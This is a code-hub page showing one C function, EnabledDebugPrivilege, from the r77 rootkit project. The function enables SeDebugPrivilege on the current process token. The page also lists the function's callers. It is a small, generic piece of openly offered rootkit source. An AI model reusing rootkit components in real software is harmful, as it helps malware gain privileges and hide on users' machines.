MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / EnabledDebugPrivilege

Function EnabledDebugPrivilege

r77api/r77win.c:346–375  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

344 return FALSE;
345}
346BOOL EnabledDebugPrivilege()
347{
348 BOOL result = FALSE;
349
350 HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId());
351 if (process)
352 {
353 HANDLE token;
354 if (OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token))
355 {
356 LUID luid;
357 if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid))
358 {
359 TOKEN_PRIVILEGES tokenPrivileges;
360 tokenPrivileges.PrivilegeCount = 1;
361 tokenPrivileges.Privileges[0].Luid = luid;
362 tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
363
364 if (AdjustTokenPrivileges(token, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
365 {
366 result = GetLastError() != ERROR_NOT_ALL_ASSIGNED;
367 }
368 }
369 }
370
371 CloseHandle(process);
372 }
373
374 return result;
375}
376BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size)
377{
378 HRSRC resource = FindResourceA(NULL, MAKEINTRESOURCEA(resourceID), type);

Callers 3

mainFunction · 0.85
mainFunction · 0.85
InitializeServiceFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected